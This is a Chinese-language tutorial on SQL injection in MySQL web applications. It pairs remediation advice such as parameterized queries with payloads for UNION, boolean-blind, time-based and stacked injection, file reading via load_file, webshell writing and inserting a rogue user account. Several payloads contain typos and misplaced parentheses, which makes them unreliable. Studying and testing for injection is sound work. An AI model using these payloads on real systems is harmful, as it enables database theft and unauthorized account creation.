测试方法

在发现有可控参数的地方使用sqlmap进行SQL注入的检查或者利用,也可以使用其他的SQL注入工具,简单点可以使用手工测试。推荐使用burpsuite的sqlmap插件

修复建议

采用 sql 语句预编译和绑定变量,是防御sql的最佳方法

  • 所有查询语句都使用是数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户变量嵌入sql语句中。
  • 对进入数据库的特殊字符进行转义过滤,或者编码处理
  • 确认每种数字的类型,比如数字型的数据必须是数字,数据库中的存储字段必须是int型
  • 数据长度应该严格规定,能在一定程度上防止比较长的sql注入无法正确允许
  • 网站每个数据层的编码统一,建议全部使用UTF-8,上下层编码不一致有可能导致一些过滤模型被绕过
  • 严格限制网站用户的数据库权限,给用户提供仅仅满足其工作的权限,从而最大限度减少注入攻击
  • 避免网站显示数据库错误信息,比如类型错误、字段不匹配等

mysql相关知识

mysql是一种服务型数据库,进行统一管理

在mysql5版本之后,mysql默认在数据库中存放一个叫information_schema的库,这个库有很多表,重点是columns、tables、schemata表记录着库的信息

web SQL 注入漏洞原理

SQL注入产生原理

动态交互网站,实现交互利用用户输入拼接到SQL执行,输入不同导致返回结果不同。用户输入内容没有经过完美处理,而且构造SQL语句,直接将构造的SQL语句带入SQL语句中执行,导致SQL注入漏洞

条件:

参数用户可控:从前端传到后端的参数内容是用户可以控制的
参数带入数据库查询:传入的参数拼接到SQL语句,且传入数据库查询。

1
SQL语句拼接:select * from admin where username = '用户提交' and password = '用户提交';

使用万能密码(1’ or ‘1’=’1)

1
select * from admin where username = '用户提交' and password = '1' or '1'='1';

此时便可看出存在漏洞。

漏洞存在判断

根本原因

可控变量+特定函数
测试url::

1
2
3
http://192.168.110.1
http://192.168.110.1/?id=123
http:///192.168.110.1/?id=1&page=1

回显是指页面有数据 信息返回

无回显是指根据输入的语句 页面没有任何变化或没有数据库中的内容显示到网页中

常见判断语句

1
2
3
4
5
id=1 and 1=1
id=1 and 1=2
id=1 or 1=1
id='1' or '1'='1'
id="1" or "1"="1"

sql注释符

# 单行注释,编码:&#35%23

—空格 单行注释 注意为短线短线空格

/**/ 多行注释 至少存在两处注入,编码/**/

web SQL 注入漏洞原理的类型

按攻击方式分为:

  • 可联合查询漏洞(UNION query SQL injection)
  • 可多语句查询注入(Stacked query SQL injection)
  • 布尔注入(Boolean-based blind SQL injection)
  • 报错型注入(Error-based SQL injection)
  • 基于时间延时注入(Time-based blind SQL injection)

接受参数分为:

  • get注入
    • get请求参数放在url里,get请求的url传参有长度限制,中文需要url编码
  • post注入
    • post请求参数是放在请求body中的,长度没有限制
  • cookie参数注入
    • cookie参数放在请求头信息,提交时服务器会从请求头获取

注入类型分为:

int 整型

1
select * from users where id = 1;

string 字符型

1
select * from user where username='admin';

like 搜索型

1
select * from news where title like '%标题%'

注入流程

  1. 是否存在注入并且判断注入类型

    • 判断字段数
      • order by
    • 确定回显点
      • union select 1,2
    • 查询数据库信息
      • @@version
      • @@datadir
    • 查询用户名、数据库名
      • user()、database()
    • 文件读取
      • union select 1,load_file(‘C:\windows\win.ini’)
    • 写入 webshell
      • select … into outfile …
        使用sql注入遇到转义字符串的单引号或者双引号,可以使用HEX编码绕过
  2. 手工注入常规思路

    1. 判断是否存在注入,注入是字符型还是数字型
    2. 猜解SQL查询语句中的字段数
    3. 确定显示字段顺序
    4. 获取当前数据库
      1. group_concat(schema_name) from information_schema.schemata
    5. 获取数据库中的表
      1. group_concat(table_name) from information_schema.tables where table_schema=库名查询表名
    6. 获取表中的字段名
      1. union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'查询字段名
    7. 查询到账户的数据
      1. ?username=1' union select 1,database(),group_concat(字段1,字段2,字段3) from 库名

UNION联合注入原理

联合查询注入是结合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会报错

通过联合查询获取 information_schema 获取表

在黑盒情况下是不知道当前库有什么表,可以通过mysql自带的information_schem查询当前的表

可以通过 limit 1,1来限定条数,第二条就是 limit 2,1

注入方式

布尔盲注

在页面不会显示数据库信息,一般情况下只会显示对与错的一种类型

布尔盲注需要用到SQL语句select if(1=1,1,0)

[!tip] 解释
if()是判断的意思,第一个参数,如果条件成立,会显示1,否则显示0,1=1可以换成其他sql语句

在黑盒环境下,通过构造SQL注入语句,根据页面的特征确定获取敏感信息。

获取库名

SUBSTRING()字符串截图。第一个参数是字符串,第二个参数是开始截取的位数,第三个截取的是长度

常用语句

1
1' and if(substring(database(),1,0)='v',1,1),1,0)-- 

获取长度

1
1' and if(length(daatabase()=4),1,0)-- 

获取表名

1
1' and if(substring((select TABLE_NAME from information schema TABLES where TABLE_SEHEMA=database()limit 1),1,1)='g',1,0)-- 

获取字段名

1
1' and if(substring((select COLUMN_NAME from information_schema COLUMNS where TABLE='user' limit 1,1),1,1),1,0)-- 

获取数据

1
1' and if(substring((select CONCT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)-- 

时间注入

又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采取的一种突破注入的技巧

在 mysql 里,函数 sleep() 是延时的意思,通过使用'and sleep(10),数据库延时10s来判断是否存在时间注入

判断方法

1
select if(2>1,sleep(10),0) -- 

判读查询当前库名长度大于1就会延时5s

1
select if(length(database())>1,sleep(5),0) -- 

判读查询当前库长度大于1就不会延时

1
-1' or if(length(database()>1,sleep(5),0)) -- 

堆叠注入

可以执行多条SQL语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点

在mysql中,mysqli_multi_querymysql_multi_query两个函数可以执行一个或多个针对数据库的查询。多个查询用分号进行分隔,但是堆叠查询只能返回第一条查询信息,不返回后面信息

select version();select database()

堆叠注入的危害是很大的,可以任意使用增删查改的语句

漏洞利用

使用 id=1' and 1=2--+进行检测,接着使用堆叠注入语法进行检测

比如:id=1' and 1=2;sleep(5)--+

我们可以插入新的账号信息:

1
id=1';instert into user(id,username,password) values(20,chen,123456)